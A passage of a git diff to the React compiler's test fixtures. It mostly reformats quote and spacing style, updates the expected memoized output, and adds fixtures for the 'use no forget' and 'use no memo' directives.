@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-"use no forget";
+'use no forget';
 
 export default function foo(x, y) {
   if (x) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-module-level.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-module-level.js
index 802ea035e885..ea5340d97f5c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-module-level.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-module-level.js
@@ -1,4 +1,4 @@
-"use no forget";
+'use no forget';
 
 export default function foo(x, y) {
   if (x) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-multiple-with-eslint-suppression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-multiple-with-eslint-suppression.expect.md
index 43b69170c4d8..b46d71fdf488 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-multiple-with-eslint-suppression.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-multiple-with-eslint-suppression.expect.md
@@ -2,16 +2,16 @@
 ## Input
 
 ```javascript
-import { useRef } from "react";
+import {useRef} from 'react';
 
-const useControllableState = (options) => {};
+const useControllableState = options => {};
 function NoopComponent() {}
 
 function Component() {
-  "use no forget";
+  'use no forget';
   const ref = useRef(null);
   // eslint-disable-next-line react-hooks/rules-of-hooks
-  ref.current = "bad";
+  ref.current = 'bad';
   return <button ref={ref} />;
 }
 
@@ -25,6 +25,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
+import { c as _c } from "react/compiler-runtime";
 import { useRef } from "react";
 
 const useControllableState = (options) => {};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-multiple-with-eslint-suppression.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-multiple-with-eslint-suppression.js
index ac3074c3f314..af490aae65b9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-multiple-with-eslint-suppression.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-multiple-with-eslint-suppression.js
@@ -1,13 +1,13 @@
-import { useRef } from "react";
+import {useRef} from 'react';
 
-const useControllableState = (options) => {};
+const useControllableState = options => {};
 function NoopComponent() {}
 
 function Component() {
-  "use no forget";
+  'use no forget';
   const ref = useRef(null);
   // eslint-disable-next-line react-hooks/rules-of-hooks
-  ref.current = "bad";
+  ref.current = 'bad';
   return <button ref={ref} />;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-with-eslint-suppression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-with-eslint-suppression.expect.md
index 2223f59f6028..ed0518da4ad8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-with-eslint-suppression.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-with-eslint-suppression.expect.md
@@ -2,13 +2,13 @@
 ## Input
 
 ```javascript
-import { useRef } from "react";
+import {useRef} from 'react';
 
 function Component() {
-  "use no forget";
+  'use no forget';
   const ref = useRef(null);
   // eslint-disable-next-line react-hooks/rules-of-hooks
-  ref.current = "bad";
+  ref.current = 'bad';
   return <button ref={ref} />;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-with-eslint-suppression.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-with-eslint-suppression.js
index 0a2bb0b5ae70..d5e0301fd545 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-with-eslint-suppression.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-with-eslint-suppression.js
@@ -1,10 +1,10 @@
-import { useRef } from "react";
+import {useRef} from 'react';
 
 function Component() {
-  "use no forget";
+  'use no forget';
   const ref = useRef(null);
   // eslint-disable-next-line react-hooks/rules-of-hooks
-  ref.current = "bad";
+  ref.current = 'bad';
   return <button ref={ref} />;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-with-no-errors.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-with-no-errors.expect.md
new file mode 100644
index 000000000000..da77446a4f74
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-with-no-errors.expect.md
@@ -0,0 +1,37 @@
+
+## Input
+
+```javascript
+// @expectNothingCompiled
+function Component() {
+  'use no forget';
+  return <div>Hello World</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+  isComponent: true,
+};
+
+```
+
+## Code
+
+```javascript
+// @expectNothingCompiled
+function Component() {
+  "use no forget";
+  return <div>Hello World</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+  isComponent: true,
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>Hello World</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-with-no-errors.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-with-no-errors.js
new file mode 100644
index 000000000000..0361c5efe8e6
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-forget-with-no-errors.js
@@ -0,0 +1,11 @@
+// @expectNothingCompiled
+function Component() {
+  'use no forget';
+  return <div>Hello World</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+  isComponent: true,
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-module-level.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-module-level.expect.md
index ef306c829141..09fa0e0cb7b4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-module-level.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-module-level.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-"use no memo";
+'use no memo';
 
 export default function foo(x, y) {
   if (x) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-module-level.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-module-level.js
index a7a740e8b9db..e3913169a2ad 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-module-level.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-module-level.js
@@ -1,4 +1,4 @@
-"use no memo";
+'use no memo';
 
 export default function foo(x, y) {
   if (x) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-module-scope-usememo-function-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-module-scope-usememo-function-scope.expect.md
new file mode 100644
index 000000000000..375a38664e04
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-module-scope-usememo-function-scope.expect.md
@@ -0,0 +1,29 @@
+
+## Input
+
+```javascript
+// @compilationMode:"all"
+'use no memo';
+
+function TestComponent({x}) {
+  'use memo';
+  return <Button>{x}</Button>;
+}
+
+```
+
+## Code
+
+```javascript
+// @compilationMode:"all"
+"use no memo";
+
+function TestComponent({ x }) {
+  "use memo";
+  return <Button>{x}</Button>;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-module-scope-usememo-function-scope.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-module-scope-usememo-function-scope.js
new file mode 100644
index 000000000000..21eec7ab2ca7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-module-scope-usememo-function-scope.js
@@ -0,0 +1,7 @@
+// @compilationMode:"all"
+'use no memo';
+
+function TestComponent({x}) {
+  'use memo';
+  return <Button>{x}</Button>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-simple.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-simple.expect.md
index f8ddf9af969b..dff0f514f9dd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-simple.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-simple.expect.md
@@ -2,15 +2,16 @@
 ## Input
 
 ```javascript
+// @expectNothingCompiled
 function Component(props) {
-  "use no memo";
+  'use no memo';
   let x = [props.foo];
   return <div x={x}>"foo"</div>;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ foo: 1 }],
+  params: [{foo: 1}],
   isComponent: true,
 };
 
@@ -19,6 +20,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
+// @expectNothingCompiled
 function Component(props) {
   "use no memo";
   let x = [props.foo];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-simple.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-simple.js
index 2a525e275b18..fb370a29bf27 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-simple.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-no-memo-simple.js
@@ -1,11 +1,12 @@
+// @expectNothingCompiled
 function Component(props) {
-  "use no memo";
+  'use no memo';
   let x = [props.foo];
   return <div x={x}>"foo"</div>;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ foo: 1 }],
+  params: [{foo: 1}],
   isComponent: true,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-call-expression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-call-expression.expect.md
index 81d1797f7c11..dad37e7dfd94 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-call-expression.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-call-expression.expect.md
@@ -2,8 +2,8 @@
 ## Input
 
 ```javascript
-import { ValidateMemoization } from "shared-runtime";
-import { use, useMemo } from "react";
+import {ValidateMemoization} from 'shared-runtime';
+import {use, useMemo} from 'react';
 
 const FooContext = React.createContext(null);
 function Component(props) {
@@ -22,17 +22,17 @@ function Inner(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
   sequentialRenders: [
-    { value: null },
-    { value: 42 },
-    { value: 42 },
-    { value: null },
-    { value: null },
-    { value: 42 },
-    { value: null },
-    { value: 42 },
-    { value: null },
+    {value: null},
+    {value: 42},
+    {value: 42},
+    {value: null},
+    {value: null},
+    {value: 42},
+    {value: null},
+    {value: 42},
+    {value: null},
   ],
 };
 
@@ -70,34 +70,32 @@ function Inner(props) {
   const $ = _c(7);
   const input = use(FooContext);
   let t0;
-  let t1;
   if ($[0] !== input) {
-    t1 = [input];
+    t0 = [input];
     $[0] = input;
-    $[1] = t1;
+    $[1] = t0;
   } else {
-    t1 = $[1];
+    t0 = $[1];
   }
-  t0 = t1;
   const output = t0;
-  let t2;
+  let t1;
   if ($[2] !== input) {
-    t2 = [input];
+    t1 = [input];
     $[2] = input;
-    $[3] = t2;
+    $[3] = t1;
   } else {
-    t2 = $[3];
+    t1 = $[3];
   }
-  let t3;
-  if ($[4] !== t2 || $[5] !== output) {
-    t3 = <ValidateMemoization inputs={t2} output={output} />;
-    $[4] = t2;
-    $[5] = output;
-    $[6] = t3;
+  let t2;
+  if ($[4] !== output || $[5] !== t1) {
+    t2 = <ValidateMemoization inputs={t1} output={output} />;
+    $[4] = output;
+    $[5] = t1;
+    $[6] = t2;
   } else {
-    t3 = $[6];
+    t2 = $[6];
   }
-  return t3;
+  return t2;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-call-expression.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-call-expression.js
index f45356969e3a..724c4824de05 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-call-expression.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-call-expression.js
@@ -1,5 +1,5 @@
-import { ValidateMemoization } from "shared-runtime";
-import { use, useMemo } from "react";
+import {ValidateMemoization} from 'shared-runtime';
+import {use, useMemo} from 'react';
 
 const FooContext = React.createContext(null);
 function Component(props) {
@@ -18,16 +18,16 @@ function Inner(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
   sequentialRenders: [
-    { value: null },
-    { value: 42 },
-    { value: 42 },
-    { value: null },
-    { value: null },
-    { value: 42 },
-    { value: null },
-    { value: 42 },
-    { value: null },
+    {value: null},
+    {value: 42},
+    {value: 42},
+    {value: null},
+    {value: null},
+    {value: 42},
+    {value: null},
+    {value: 42},
+    {value: null},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-conditional.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-conditional.expect.md
index 77e19468df82..ab645e81e336 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-conditional.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-conditional.expect.md
@@ -2,8 +2,8 @@
 ## Input
 
 ```javascript
-import { ValidateMemoization } from "shared-runtime";
-import { use, useMemo } from "react";
+import {ValidateMemoization} from 'shared-runtime';
+import {use, useMemo} from 'react';
 
 const FooContext = React.createContext(null);
 function Component(props) {
@@ -25,23 +25,23 @@ function Inner(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true, value: 42 }],
+  params: [{cond: true, value: 42}],
   sequentialRenders: [
     // change cond true->false
-    { cond: true, value: 42 },
-    { cond: false, value: 42 },
+    {cond: true, value: 42},
+    {cond: false, value: 42},
 
     // change value
-    { cond: false, value: null },
-    { cond: false, value: 42 },
+    {cond: false, value: null},
+    {cond: false, value: 42},
 
     // change cond false->true
-    { cond: true, value: 42 },
+    {cond: true, value: 42},
 
     // change cond true->false, change unobserved value, change cond false->true
-    { cond: false, value: 42 },
-    { cond: false, value: null },
-    { cond: true, value: 42 },
+    {cond: false, value: 42},
+    {cond: false, value: null},
+    {cond: true, value: 42},
   ],
 };
 
@@ -79,45 +79,39 @@ function Component(props) {
 
 function Inner(props) {
   const $ = _c(7);
-  let input;
-  input = null;
+  let input = null;
   if (props.cond) {
     input = use(FooContext);
   }
 
-  input;
   input;
   let t0;
-  const t1 = input;
-  let t2;
-  if ($[0] !== t1) {
-    t2 = [t1];
-    $[0] = t1;
-    $[1] = t2;
+  if ($[0] !== input) {
+    t0 = [input];
+    $[0] = input;
+    $[1] = t0;
   } else {
-    t2 = $[1];
+    t0 = $[1];
   }
-  t0 = t2;
   const output = t0;
-  const t3 = input;
-  let t4;
-  if ($[2] !== t3) {
-    t4 = [t3];
-    $[2] = t3;
-    $[3] = t4;
+  let t1;
+  if ($[2] !== input) {
+    t1 = [input];
+    $[2] = input;
+    $[3] = t1;
   } else {
-    t4 = $[3];
+    t1 = $[3];
   }
-  let t5;
-  if ($[4] !== t4 || $[5] !== output) {
-    t5 = <ValidateMemoization inputs={t4} output={output} />;
-    $[4] = t4;
-    $[5] = output;
-    $[6] = t5;
+  let t2;
+  if ($[4] !== output || $[5] !== t1) {
+    t2 = <ValidateMemoization inputs={t1} output={output} />;
+    $[4] = output;
+    $[5] = t1;
+    $[6] = t2;
   } else {
-    t5 = $[6];
+    t2 = $[6];
   }
-  return t5;
+  return t2;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-conditional.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-conditional.js
index bdd0601491d3..1d604758aecc 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-conditional.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-conditional.js
@@ -1,5 +1,5 @@
-import { ValidateMemoization } from "shared-runtime";
-import { use, useMemo } from "react";
+import {ValidateMemoization} from 'shared-runtime';
+import {use, useMemo} from 'react';
 
 const FooContext = React.createContext(null);
 function Component(props) {
@@ -21,22 +21,22 @@ function Inner(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true, value: 42 }],
+  params: [{cond: true, value: 42}],
   sequentialRenders: [
     // change cond true->false
-    { cond: true, value: 42 },
-    { cond: false, value: 42 },
+    {cond: true, value: 42},
+    {cond: false, value: 42},
 
     // change value
-    { cond: false, value: null },
-    { cond: false, value: 42 },
+    {cond: false, value: null},
+    {cond: false, value: 42},
 
     // change cond false->true
-    { cond: true, value: 42 },
+    {cond: true, value: 42},
 
     // change cond true->false, change unobserved value, change cond false->true
-    { cond: false, value: 42 },
-    { cond: false, value: null },
-    { cond: true, value: 42 },
+    {cond: false, value: 42},
+    {cond: false, value: null},
+    {cond: true, value: 42},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-method-call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-method-call.expect.md
index 1e6ef8e61074..5eea8e6e1952 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-method-call.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-method-call.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { ValidateMemoization } from "shared-runtime";
-import { useMemo } from "react";
-import * as React from "react";
+import {ValidateMemoization} from 'shared-runtime';
+import {useMemo} from 'react';
+import * as React from 'react';
 
 const FooContext = React.createContext(null);
 function Component(props) {
@@ -23,17 +23,17 @@ function Inner(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
   sequentialRenders: [
-    { value: null },
-    { value: 42 },
-    { value: 42 },
-    { value: null },
-    { value: null },
-    { value: 42 },
-    { value: null },
-    { value: 42 },
-    { value: null },
+    {value: null},
+    {value: 42},
+    {value: 42},
+    {value: null},
+    {value: null},
+    {value: 42},
+    {value: null},
+    {value: 42},
+    {value: null},
   ],
 };
 
@@ -72,34 +72,32 @@ function Inner(props) {
   const $ = _c(7);
   const input = React.use(FooContext);
   let t0;
-  let t1;
   if ($[0] !== input) {
-    t1 = [input];
+    t0 = [input];
     $[0] = input;
-    $[1] = t1;
+    $[1] = t0;
   } else {
-    t1 = $[1];
+    t0 = $[1];
   }
-  t0 = t1;
   const output = t0;
-  let t2;
+  let t1;
   if ($[2] !== input) {
-    t2 = [input];
+    t1 = [input];
     $[2] = input;
-    $[3] = t2;
+    $[3] = t1;
   } else {
-    t2 = $[3];
+    t1 = $[3];
   }
-  let t3;
-  if ($[4] !== t2 || $[5] !== output) {
-    t3 = <ValidateMemoization inputs={t2} output={output} />;
-    $[4] = t2;
-    $[5] = output;
-    $[6] = t3;
+  let t2;
+  if ($[4] !== output || $[5] !== t1) {
+    t2 = <ValidateMemoization inputs={t1} output={output} />;
+    $[4] = output;
+    $[5] = t1;
+    $[6] = t2;
   } else {
-    t3 = $[6];
+    t2 = $[6];
   }
-  return t3;
+  return t2;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-method-call.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-method-call.js
index e103700740d2..984070b381bd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-method-call.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-method-call.js
@@ -1,6 +1,6 @@
-import { ValidateMemoization } from "shared-runtime";
-import { useMemo } from "react";
-import * as React from "react";
+import {ValidateMemoization} from 'shared-runtime';
+import {useMemo} from 'react';
+import * as React from 'react';
 
 const FooContext = React.createContext(null);
 function Component(props) {
@@ -19,16 +19,16 @@ function Inner(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
   sequentialRenders: [
-    { value: null },
-    { value: 42 },
-    { value: 42 },
-    { value: null },
-    { value: null },
-    { value: 42 },
-    { value: null },
-    { value: 42 },
-    { value: null },
+    {value: null},
+    {value: 42},
+    {value: 42},
+    {value: null},
+    {value: null},
+    {value: 42},
+    {value: null},
+    {value: 42},
+    {value: null},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useActionState-dispatch-considered-as-non-reactive.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useActionState-dispatch-considered-as-non-reactive.expect.md
index edec816cb932..b362e307cf21 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useActionState-dispatch-considered-as-non-reactive.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useActionState-dispatch-considered-as-non-reactive.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { useActionState } from "react";
+import {useActionState} from 'react';
 
 function Component() {
   const [actionState, dispatchAction] = useActionState();
@@ -29,13 +29,12 @@ import { useActionState } from "react";
 
 function Component() {
   const $ = _c(1);
-  const [actionState, dispatchAction] = useActionState();
+  const [, dispatchAction] = useActionState();
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     const onSubmitAction = () => {
       dispatchAction();
     };
-
     t0 = <Foo onSubmitAction={onSubmitAction} />;
     $[0] = t0;
   } else {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useActionState-dispatch-considered-as-non-reactive.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useActionState-dispatch-considered-as-non-reactive.js
index 04bf7eaeb2e5..af1a64409583 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useActionState-dispatch-considered-as-non-reactive.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useActionState-dispatch-considered-as-non-reactive.js
@@ -1,4 +1,4 @@
-import { useActionState } from "react";
+import {useActionState} from 'react';
 
 function Component() {
   const [actionState, dispatchAction] = useActionState();
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-call-second-function-which-captures-maybe-mutable-value-dont-preserve-memoization.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-call-second-function-which-captures-maybe-mutable-value-dont-preserve-memoization.expect.md
index 797ffda2812a..b943c7dacbd7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-call-second-function-which-captures-maybe-mutable-value-dont-preserve-memoization.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-call-second-function-which-captures-maybe-mutable-value-dont-preserve-memoization.expect.md
@@ -3,13 +3,13 @@
 
 ```javascript
 // @enablePreserveExistingMemoizationGuarantees:false @enableTransitivelyFreezeFunctionExpressions:false
-import { useCallback } from "react";
+import {useCallback} from 'react';
 import {
   identity,
   logValue,
   makeObject_Primitives,
   useHook,
-} from "shared-runtime";
+} from 'shared-runtime';
 
 function Component(props) {
   const object = makeObject_Primitives();
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-call-second-function-which-captures-maybe-mutable-value-dont-preserve-memoization.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-call-second-function-which-captures-maybe-mutable-value-dont-preserve-memoization.js
index 86d4af667743..6027076d643a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-call-second-function-which-captures-maybe-mutable-value-dont-preserve-memoization.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-call-second-function-which-captures-maybe-mutable-value-dont-preserve-memoization.js
@@ -1,11 +1,11 @@
 // @enablePreserveExistingMemoizationGuarantees:false @enableTransitivelyFreezeFunctionExpressions:false
-import { useCallback } from "react";
+import {useCallback} from 'react';
 import {
   identity,
   logValue,
   makeObject_Primitives,
   useHook,
-} from "shared-runtime";
+} from 'shared-runtime';
 
 function Component(props) {
   const object = makeObject_Primitives();
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-call-second-function-which-captures-maybe-mutable-value-preserve-memoization.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-call-second-function-which-captures-maybe-mutable-value-preserve-memoization.expect.md
index 16639d38448b..1822e39b6045 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-call-second-function-which-captures-maybe-mutable-value-preserve-memoization.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-call-second-function-which-captures-maybe-mutable-value-preserve-memoization.expect.md
@@ -3,13 +3,13 @@
 
 ```javascript
 // @enablePreserveExistingMemoizationGuarantees
-import { useCallback } from "react";
+import {useCallback} from 'react';
 import {
   identity,
   logValue,
   makeObject_Primitives,
   useHook,
-} from "shared-runtime";
+} from 'shared-runtime';
 
 function Component(props) {
   const object = makeObject_Primitives();
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-call-second-function-which-captures-maybe-mutable-value-preserve-memoization.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-call-second-function-which-captures-maybe-mutable-value-preserve-memoization.js
index 19f58586234d..0f46021c1588 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-call-second-function-which-captures-maybe-mutable-value-preserve-memoization.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-call-second-function-which-captures-maybe-mutable-value-preserve-memoization.js
@@ -1,11 +1,11 @@
 // @enablePreserveExistingMemoizationGuarantees
-import { useCallback } from "react";
+import {useCallback} from 'react';
 import {
   identity,
   logValue,
   makeObject_Primitives,
   useHook,
-} from "shared-runtime";
+} from 'shared-runtime';
 
 function Component(props) {
   const object = makeObject_Primitives();
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-maybe-modify-free-variable-dont-preserve-memoization-guarantee.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-maybe-modify-free-variable-dont-preserve-memoization-guarantee.expect.md
index 66b8d67cba08..ea6e43029ce9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-maybe-modify-free-variable-dont-preserve-memoization-guarantee.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-maybe-modify-free-variable-dont-preserve-memoization-guarantee.expect.md
@@ -2,14 +2,9 @@
 ## Input
 
 ```javascript
-// @enablePreserveExistingMemoizationGuarantees:false
-import { useCallback } from "react";
-import {
-  identity,
-  makeObject_Primitives,
-  mutate,
-  useHook,
-} from "shared-runtime";
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useCallback} from 'react';
+import {identity, makeObject_Primitives, mutate, useHook} from 'shared-runtime';
 
 function Component(props) {
   const free = makeObject_Primitives();
@@ -28,7 +23,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
 
 ```
@@ -36,7 +31,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-// @enablePreserveExistingMemoizationGuarantees:false
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
 import { useCallback } from "react";
 import {
   identity,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-maybe-modify-free-variable-dont-preserve-memoization-guarantee.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-maybe-modify-free-variable-dont-preserve-memoization-guarantee.js
